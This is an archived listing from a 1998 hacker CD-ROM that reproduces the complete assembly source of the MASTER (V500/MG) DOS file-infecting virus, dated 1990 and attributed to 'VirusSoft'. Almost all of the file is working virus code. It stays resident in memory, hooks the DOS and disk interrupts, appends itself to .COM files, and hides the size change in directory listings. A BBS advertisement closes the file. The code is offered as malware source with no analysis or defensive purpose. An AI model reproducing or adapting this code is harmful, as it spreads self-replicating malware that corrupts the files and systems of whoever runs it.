home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / pc / virus / mg_3.asm / text0000.txt < prev   
Encoding:
Text File  |  2003-06-11  |  7.3 KB  |  317 lines

  1.  
  2. ;        (C) Copyright VirusSoft Corp.  Sep., 1990
  3. ;
  4. ;   This is the SOURCE file of last version of MASTER,(V500),(MG) ect.
  5. ;   virus, distributed by VirusSoft company . First version was made
  6. ;   in   May., 1990 . Please don't make any corections in this file !
  7. ;
  8. ;                        Bulgaria, Varna
  9. ;                        Sep. 27, 1990
  10.  
  11.  
  12.  
  13.          ofs = 201h
  14.          len = offset end-ofs
  15.  
  16.          call  $+6
  17.  
  18.          org   ofs
  19.  
  20. first:   dw    020cdh
  21.          db    0
  22.  
  23.          pop   di
  24.          dec   di
  25.          dec   di
  26.          mov   si,[di]
  27.          dec   di
  28.          add   si,di
  29.          push  cs
  30.          push  di
  31.          cld
  32.          movsw
  33.          movsb
  34.          xchg  ax,dx
  35.  
  36.          mov   ax,4b04h
  37.          int   21h
  38.          jnc   residnt
  39.  
  40.          xor   ax,ax
  41.          mov   es,ax
  42.          mov   di,ofs+3
  43.          mov   cx,len-3
  44.          rep   movsb
  45.  
  46.          les   di,[6]
  47.          mov   al,0eah
  48.          dec   cx
  49.          repne scasb
  50.          les   di,es:[di]         ; Searching for the INT21 vector
  51.          sub   di,-1ah-7
  52.  
  53.          db    0eah
  54.          dw    offset jump,0      ; jmp far 0000:jump
  55.  
  56. jump:    push  es
  57.          pop   ds
  58.          mov   si,[di+3-7]        ;
  59.          lodsb                    ;
  60.          cmp   al,68h             ; compare DOS Ver
  61.          mov   [di+4-7],al        ; Change CMP AH,CS:[????]
  62.          mov   [di+2-7],0fc80h    ;
  63.          mov   [di-7],0fccdh      ;
  64.  
  65.          push  cs
  66.          pop   ds
  67.  
  68.          mov   [1020],di          ; int  0ffh
  69.          mov   [1022],es
  70.  
  71.          mov   beg-1,byte ptr not3_3-beg
  72.          jb    not3.3             ; CY = 0  -->  DOS Ver > or = 3.30
  73.          mov   beg-1,byte ptr 0
  74.          mov   [7b4h],offset pr7b4
  75.          mov   [7b6h],cs          ; 7b4
  76.  
  77. not3.3:  mov   al,0a9h            ; Change attrib
  78. cont:    repne scasb
  79.          cmp   es:[di],0ffd8h
  80.          jne   cont
  81.          mov   al,18h
  82.          stosb
  83.  
  84.          push  ss
  85.          pop   ds
  86.  
  87.          push  ss
  88.          pop   es
  89.  
  90. residnt: xchg  ax,dx
  91.          retf                     ; ret   far
  92.  
  93. ;--------Interrupt process--------;
  94.  
  95. i21pr:   push  ax
  96.          push  dx
  97.          push  ds
  98.          push  cx
  99.          push  bx
  100.          push  es
  101.  
  102. if4b04:  cmp   ax,4b04h
  103.          je    rti
  104.  
  105.          xchg  ax,cx
  106.          mov   ah,02fh
  107.          int   0ffh
  108.  
  109. if11_12: cmp   ch,11h
  110.          je    yes
  111.          cmp   ch,12h
  112.          jne   inffn
  113. yes:     xchg  ax,cx
  114.          int   0ffh
  115.          push  ax
  116.          test  es:byte ptr [bx+19],0c0h
  117.          jz    normal
  118.          sub   es:[bx+36],len
  119. normal:  pop   ax
  120. rti:     pop   es
  121.          pop   bx
  122.          pop   cx
  123.          add   sp,12
  124.          iret
  125.  
  126. inffn:   mov   ah,19h
  127.          int   0ffh
  128.          push  ax
  129.  
  130. if36:    cmp   ch,36h             ; -free bytes
  131.          je    beg_36
  132. if4e:    cmp   ch,4eh             ; -find first FM
  133.          je    beg_4b
  134. if4b:    cmp   ch,4bh             ; -exec
  135.          je    beg_4b
  136. if47:    cmp   ch,47h             ; -directory info
  137.          jne   if5b
  138.          cmp   al,2
  139.          jae   begin              ; it's hard-disk
  140. if5b:    cmp   ch,5bh             ; -create new
  141.          je    beg_4b
  142. if3c_3d: shr   ch,1               ; > -open & create
  143.          cmp   ch,1eh             ;   -
  144.          je    beg_4b
  145.  
  146.          jmp   rest
  147.  
  148. beg_4b:  mov   ax,121ah
  149.          xchg  dx,si
  150.          int   2fh
  151.          xchg  ax,dx
  152.          xchg  ax,si
  153.  
  154. beg_36:  mov   ah,0eh             ; change current drive
  155.          dec   dx                 ;
  156.          int   0ffh               ;
  157.  
  158. begin:
  159.          push  es                 ; save DTA address
  160.          push  bx                 ;
  161.          sub   sp,44
  162.          mov   dx,sp              ; change DTA
  163.          push  sp
  164.          mov   ah,1ah
  165.          push  ss
  166.          pop   ds
  167.          int   0ffh
  168.          mov   bx,dx
  169.  
  170.          push  cs
  171.          pop   ds
  172.  
  173.          mov   ah,04eh
  174.          mov   dx,offset file
  175.          mov   cx,3               ; r/o , hidden
  176.          int   0ffh               ; int   21h
  177.          jc    lst
  178.  
  179. next:    test  ss:[bx+21],byte ptr 80h
  180.          jz    true
  181. nxt:     mov   ah,4fh             ; find next
  182.          int   0ffh
  183.          jnc   next
  184. lst:     jmp   last
  185.  
  186. true:    cmp   ss:[bx+27],byte ptr 0fdh
  187.          ja    nxt
  188.          mov   [144],offset i24pr
  189.          mov   [146],cs
  190.  
  191.          les   ax,[4ch]           ; int 13h
  192.          mov   i13adr,ax
  193.          mov   i13adr+2,es
  194.          jmp   short $
  195. beg:     mov   [4ch],offset i13pr
  196.          mov   [4eh],cs
  197.          ;
  198. not3_3:  push  ss
  199.          pop   ds
  200.          push  [bx+22]            ; time +
  201.          push  [bx+24]            ; date +
  202.          push  [bx+21]            ; attrib +
  203.          lea   dx,[bx+30]         ; ds : dx = offset file name
  204.          mov   ax,4301h           ; Change attrib !!!
  205.          pop   cx
  206.          and   cx,0feh            ; clear r/o and CH
  207.          or    cl,0c0h            ; set Infect. attr
  208.          int   0ffh
  209.  
  210.          mov   ax,03d02h          ; open
  211.          int   0ffh               ; int   21h
  212.          xchg  ax,bx
  213.  
  214.          push  cs
  215.          pop   ds
  216.  
  217.          mov   ah,03fh
  218.          mov   cx,3
  219.          mov   dx,offset first
  220.          int   0ffh
  221.  
  222.          mov   ax,04202h          ; move fp to EOF
  223.          xor   dx,dx
  224.          mov   cx,dx
  225.          int   0ffh
  226.          mov   word ptr cal_ofs+1,ax
  227.  
  228.          mov   ah,040h
  229.          mov   cx,len
  230.          mov   dx,ofs
  231.          int   0ffh
  232.          jc    not_inf
  233.  
  234.          mov   ax,04200h
  235.          xor   dx,dx
  236.          mov   cx,dx
  237.          int   0ffh
  238.  
  239.          mov   ah,040h
  240.          mov   cx,3
  241.          mov   dx,offset cal_ofs
  242.          int   0ffh
  243.  
  244. not_inf: mov   ax,05701h
  245.          pop   dx                 ; date
  246.          pop   cx                 ; time
  247.          int   0ffh
  248.  
  249.          mov   ah,03eh            ; close
  250.          int   0ffh
  251.  
  252.          les   ax,dword ptr i13adr
  253.          mov   [4ch],ax           ; int 13h
  254.          mov   [4eh],es
  255.  
  256. last:    add   sp,46
  257.          pop   dx
  258.          pop   ds                 ; restore DTA
  259.          mov   ah,1ah
  260.          int   0ffh
  261.  
  262. rest:    pop   dx                 ; restore current drive
  263.          mov   ah,0eh             ;
  264.          int   0ffh               ;
  265.  
  266.          pop   es
  267.          pop   bx
  268.          pop   cx
  269.          pop   ds
  270.          pop   dx
  271.          pop   ax
  272.  
  273. i21cl:   iret                     ; Return from INT FC
  274.  
  275. i24pr:   mov   al,3               ; Critical errors
  276.          iret
  277.  
  278. i13pr:   cmp   ah,3
  279.          jne   no
  280.          inc   byte ptr cs:activ
  281.          dec   ah
  282. no:      jmp   dword ptr cs:i13adr
  283.  
  284. pr7b4:         db    2eh,0d0h,2eh
  285.                dw    offset activ
  286. ;        shr   cs:activ,1
  287.          jnc   ex7b0
  288.          inc   ah
  289. ex7b0:   jmp   dword ptr cs:[7b0h]
  290.  
  291. ;--------
  292.  
  293. file:    db    "*",32,".COM"
  294.  
  295. activ:   db    0
  296.  
  297.          dw    offset i21pr      ; int 0fch
  298.          dw    0
  299.  
  300. cal_ofs: db    0e8h
  301.  
  302. end:
  303.          dw    ?                  ; cal_ofs
  304.  
  305. i13adr:  dw    ?
  306.          dw    ?
  307.  
  308.  
  309. ; The End.---
  310.  
  311. ; ─────────────────────────────────────────────────────────────────────────
  312. ; ────────────────────> and Remember Don't Forget to Call <────────────────
  313. ; ────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────
  314. ; ─────────────────────────────────────────────────────────────────────────
  315.  
  316.  
  317.